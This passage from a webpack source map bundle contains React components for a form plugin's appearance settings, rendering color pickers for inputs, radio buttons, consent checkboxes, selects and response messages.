getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-error-background`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-error-color`}\n\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/response-error.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class ResponseSuccessColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#1ABCA1\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-success-border`}\n\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#BCEEE6\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-success-background`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-success-color`}\n\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/response-success.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class SectionColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\tlabel={ translate( 'Title color' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-title-color`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`} />\n\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\tlabel={ translate( 'Subtitle color' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-subtitle-color`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#333333\") }`} />\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/section.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class InputsColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-border`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-bg`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Placeholder' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-placeholder`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-border-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-hover-bg`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-hover-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-active-bg`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-active-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<Container\n\t\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-border-error`}\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Container>\n\t\t\t\t}\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/inputs.js","import React, { Component } from 'react';\nimport { translate, hasFieldType, hasFieldWithAttribute, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class InputExtraColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst hasDatePicker = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'date',\n\t\t\t'field_type',\n\t\t\t'picker'\n\t\t);\n\n\t\tconst hasCalculation = hasFieldType(\n\t\t\t'calculation',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasCurrency = hasFieldType(\n\t\t\t'currency',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasStripe = hasFieldType(\n\t\t\t'stripe',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tlet content = <React.Fragment>\n\t\t\t{ (\n\t\t\t\thasDatePicker ||\n\t\t\t\thasStripe\n\t\t\t) &&\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-icon`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t/>\n\t\t\t}\n\t\t\t{ hasCalculation &&\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prefix-color`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\tlabel={ translate( 'Prefix color' ) }\n\t\t\t\t/>\n\t\t\t}\n\t\t\t{ ( hasCurrency ||\n\t\t\t\thasCalculation\n\t\t\t) &&\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }suffix-color`}\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\tlabel={ translate( 'Suffix color' ) }\n\t\t\t\t/>\n\t\t\t}\n\t\t</React.Fragment>;\n\n\t\tif ( hasStripe ) {\n\t\t\tcontent = <Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ (\n\t\t\t\t\t\thasDatePicker ||\n\t\t\t\t\t\thasStripe\n\t\t\t\t\t) &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-icon`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ hasCalculation &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }prefix-color`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t\t\tlabel={ translate( 'Prefix color' ) }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ ( hasCurrency ||\n\t\t\t\t\t\thasCalculation\n\t\t\t\t\t) &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }suffix-color`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t\t\tlabel={ translate( 'Suffix color' ) }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\n\t\t\t\t\t{ hasStripe &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-icon-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\n\t\t\t\t\t{ hasStripe &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }input-icon-focus`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>;\n\t\t}\n\n\t\treturn content;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/inputs-extra.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class RadioColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-border-static`}\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-label`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Image border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-image-border-static`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Image background' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-image-background`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Checked' ) }\n\t\t\t\t\tvalue=\"checked\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-icon`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Image border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-image-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Image background' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-image-background-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E1F6FF\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t</Container>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<Container\n\t\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\t>\n\t\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-border-error`}\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t\t{ this.props.formDesign === 'flat' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }radio-background-error`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t</Container>\n\t\t\t\t}\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/radio.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class ConsentColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-border-static`}\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-label`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Checked' ) }\n\t\t\t\t\tvalue=\"checked\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-background-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-icon`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<Container\n\t\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\t>\n\t\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-border-error`}\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t\t{ this.props.formDesign === 'flat' &&\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }consent-cbox-background-error`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t</Container>\n\t\t\t\t}\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/consent.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class SelectColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-border-static`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-background-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-icon-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-value-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' 